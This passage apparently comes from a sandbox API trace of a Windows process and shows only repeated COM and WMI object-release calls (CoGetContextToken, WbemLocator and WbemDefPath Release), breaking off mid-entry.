cHandles=0x1, pHandles=0x524d00*=0xd8, lpdwindex=0x31e264) Thread: id = 17 os_tid = 0xe90 Thread: id = 18 os_tid = 0xe94 [0046.576] CoGetContextToken (in: pToken=0x135f6d0 | out: pToken=0x135f6d0) returned 0x800401f0 [0046.576] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0065.622] CoGetContextToken (in: pToken=0x135f710 | out: pToken=0x135f710) returned 0x0 [0065.622] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.622] WbemLocator:IUnknown:Release (This=0x1130a60) returned 0x1 [0065.622] WbemLocator:IUnknown:Release (This=0x1130a60) returned 0x0 [0065.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.624] WbemLocator:IUnknown:Release (This=0x11adf80) returned 0x1 [0065.624] WbemLocator:IUnknown:Release (This=0x11adf80) returned 0x0 [0065.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.624] WbemLocator:IUnknown:Release (This=0x11ae420) returned 0x1 [0065.624] WbemLocator:IUnknown:Release (This=0x11ae420) returned 0x0 [0065.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.624] IUnknown:Release (This=0x11b8f10) returned 0x1 [0065.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.624] WbemLocator:IUnknown:Release (This=0x11c9320) returned 0x1 [0065.624] WbemLocator:IUnknown:Release (This=0x11c9320) returned 0x0 [0065.624] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.624] WbemLocator:IUnknown:Release (This=0x11c7440) returned 0x1 [0065.625] WbemLocator:IUnknown:Release (This=0x11c7440) returned 0x0 [0065.626] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.626] WbemLocator:IUnknown:Release (This=0x11c9660) returned 0x1 [0065.626] WbemLocator:IUnknown:Release (This=0x11c9660) returned 0x0 [0065.626] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.626] IUnknown:Release (This=0x11ca7b0) returned 0x1 [0065.626] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.626] WbemLocator:IUnknown:Release (This=0x11d5070) returned 0x1 [0065.626] WbemLocator:IUnknown:Release (This=0x11d5070) returned 0x0 [0065.626] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.626] WbemLocator:IUnknown:Release (This=0x11c82e0) returned 0x1 [0065.626] WbemLocator:IUnknown:Release (This=0x11c82e0) returned 0x0 [0065.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.627] WbemLocator:IUnknown:Release (This=0x11e0e00) returned 0x1 [0065.627] WbemLocator:IUnknown:Release (This=0x11e0e00) returned 0x0 [0065.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.627] IUnknown:Release (This=0x11de7e0) returned 0x1 [0065.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.627] WbemLocator:IUnknown:Release (This=0x11e80f0) returned 0x1 [0065.627] WbemLocator:IUnknown:Release (This=0x11e80f0) returned 0x0 [0065.627] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.627] WbemLocator:IUnknown:Release (This=0x11c9180) returned 0x1 [0065.627] WbemLocator:IUnknown:Release (This=0x11c9180) returned 0x0 [0065.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.628] WbemLocator:IUnknown:Release (This=0x11f1480) returned 0x1 [0065.628] WbemLocator:IUnknown:Release (This=0x11f1480) returned 0x0 [0065.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.628] IUnknown:Release (This=0x11f2630) returned 0x1 [0065.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.628] WbemLocator:IUnknown:Release (This=0x1beaa390) returned 0x1 [0065.628] WbemLocator:IUnknown:Release (This=0x1beaa390) returned 0x0 [0065.628] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.628] WbemLocator:IUnknown:Release (This=0x1bea6f30) returned 0x1 [0065.628] WbemLocator:IUnknown:Release (This=0x1bea6f30) returned 0x0 [0065.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.629] WbemLocator:IUnknown:Release (This=0x1beaa6d0) returned 0x1 [0065.629] WbemLocator:IUnknown:Release (This=0x1beaa6d0) returned 0x0 [0065.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.629] IUnknown:Release (This=0x1beb9bf0) returned 0x1 [0065.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.629] WbemLocator:IUnknown:Release (This=0x1becfa50) returned 0x1 [0065.629] WbemLocator:IUnknown:Release (This=0x1becfa50) returned 0x0 [0065.629] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.629] WbemLocator:IUnknown:Release (This=0x1bea7dd0) returned 0x1 [0065.629] WbemLocator:IUnknown:Release (This=0x1bea7dd0) returned 0x0 [0065.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.630] WbemLocator:IUnknown:Release (This=0x1becfd90) returned 0x1 [0065.630] WbemLocator:IUnknown:Release (This=0x1becfd90) returned 0x0 [0065.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.630] IUnknown:Release (This=0x1bebad20) returned 0x1 [0065.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.630] WbemLocator:IUnknown:Release (This=0x1bedb510) returned 0x1 [0065.630] WbemLocator:IUnknown:Release (This=0x1bedb510) returned 0x0 [0065.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.630] WbemLocator:IUnknown:Release (This=0x1bed2660) returned 0x1 [0065.630] WbemLocator:IUnknown:Release (This=0x1bed2660) returned 0x0 [0065.630] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.630] WbemLocator:IUnknown:Release (This=0x11f7970) returned 0x1 [0065.630] WbemLocator:IUnknown:Release (This=0x11f7970) returned 0x0 [0065.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.631] IUnknown:Release (This=0x1bebbe50) returned 0x1 [0065.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.631] WbemLocator:IUnknown:Release (This=0x11f83b0) returned 0x1 [0065.631] WbemLocator:IUnknown:Release (This=0x11f83b0) returned 0x0 [0065.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.631] WbemLocator:IUnknown:Release (This=0x1bed3500) returned 0x1 [0065.631] WbemLocator:IUnknown:Release (This=0x1bed3500) returned 0x0 [0065.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.631] WbemLocator:IUnknown:Release (This=0x11f86f0) returned 0x1 [0065.631] WbemLocator:IUnknown:Release (This=0x11f86f0) returned 0x0 [0065.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.631] IUnknown:Release (This=0x1bef3290) returned 0x1 [0065.631] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.632] WbemLocator:IUnknown:Release (This=0x1bef8920) returned 0x1 [0065.632] WbemLocator:IUnknown:Release (This=0x1bef8920) returned 0x0 [0065.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.632] WbemLocator:IUnknown:Release (This=0x1bf00990) returned 0x1 [0065.632] WbemLocator:IUnknown:Release (This=0x1bf00990) returned 0x0 [0065.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.632] WbemLocator:IUnknown:Release (This=0x1bef8c60) returned 0x1 [0065.632] WbemLocator:IUnknown:Release (This=0x1bef8c60) returned 0x0 [0065.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.632] IUnknown:Release (This=0x1bef43c0) returned 0x1 [0065.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.632] WbemLocator:IUnknown:Release (This=0x1bf11360) returned 0x1 [0065.632] WbemLocator:IUnknown:Release (This=0x1bf11360) returned 0x0 [0065.632] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.632] WbemLocator:IUnknown:Release (This=0x1bf01830) returned 0x1 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf01830) returned 0x0 [0065.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x1 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf116a0) returned 0x0 [0065.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.633] IUnknown:Release (This=0x1bef54f0) returned 0x1 [0065.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf2ad60) returned 0x1 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf2ad60) returned 0x0 [0065.633] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x1 [0065.633] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x0 [0065.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.634] WbemLocator:IUnknown:Release (This=0x1bf2b0a0) returned 0x1 [0065.634] WbemLocator:IUnknown:Release (This=0x1bf2b0a0) returned 0x0 [0065.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.634] IUnknown:Release (This=0x1bef6620) returned 0x1 [0065.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.634] WbemLocator:IUnknown:Release (This=0x1bf3db60) returned 0x1 [0065.634] WbemLocator:IUnknown:Release (This=0x1bf3db60) returned 0x0 [0065.634] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.634] WbemLocator:IUnknown:Release (This=0x1bf29e20) returned 0x1 [0065.634] WbemLocator:IUnknown:Release (This=0x1bf29e20) returned 0x0 [0065.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.635] WbemLocator:IUnknown:Release (This=0x1bf3dea0) returned 0x1 [0065.635] WbemLocator:IUnknown:Release (This=0x1bf3dea0) returned 0x0 [0065.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.635] IUnknown:Release (This=0x1bf43f50) returned 0x1 [0065.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.635] WbemLocator:IUnknown:Release (This=0x11f90b0) returned 0x1 [0065.635] WbemLocator:IUnknown:Release (This=0x11f90b0) returned 0x0 [0065.635] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.635] WbemLocator:IUnknown:Release (This=0x1bf53780) returned 0x1 [0065.635] WbemLocator:IUnknown:Release (This=0x1bf53780) returned 0x0 [0065.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.656] WbemLocator:IUnknown:Release (This=0x11f93f0) returned 0x1 [0065.656] WbemLocator:IUnknown:Release (This=0x11f93f0) returned 0x0 [0065.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.656] IUnknown:Release (This=0x1bf45080) returned 0x1 [0065.656] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemLocator:IUnknown:Release (This=0x11f9e30) returned 0x1 [0065.657] WbemLocator:IUnknown:Release (This=0x11f9e30) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f710 | out: pToken=0x135f710) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.657] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x1 [0065.657] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x0 [0065.657] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169a40) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169b00) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x1 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x0 [0065.658] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.658] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x1169f80) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a400) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a580) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a640) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x0 [0065.659] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x1 [0065.659] WbemDefPath:IUnknown:Release (This=0x116a7c0) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x116a940) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x116aa00) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea00b0) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea0530) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x1 [0065.660] WbemDefPath:IUnknown:Release (This=0x1bea05f0) returned 0x0 [0065.660] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0cb0) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0d70) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x1 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0e30) returned 0x0 [0065.661] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.661] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea0fb0) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1070) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1130) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea15b0) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x1 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea1670) returned 0x0 [0065.662] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.662] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea17f0) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1c70) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1d30) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1df0) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x1 [0065.663] WbemDefPath:IUnknown:Release (This=0x1bea1eb0) returned 0x0 [0065.663] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a5e0) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119a8e0) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x1 [0065.664] WbemDefPath:IUnknown:Release (This=0x119aa60) returned 0x0 [0065.664] CoGetContextToken (in: pToken=0x135f600 | out: pToken=0x135f600) returned 0x0 [0065.664] WbemDefPath:IUnknown:Release 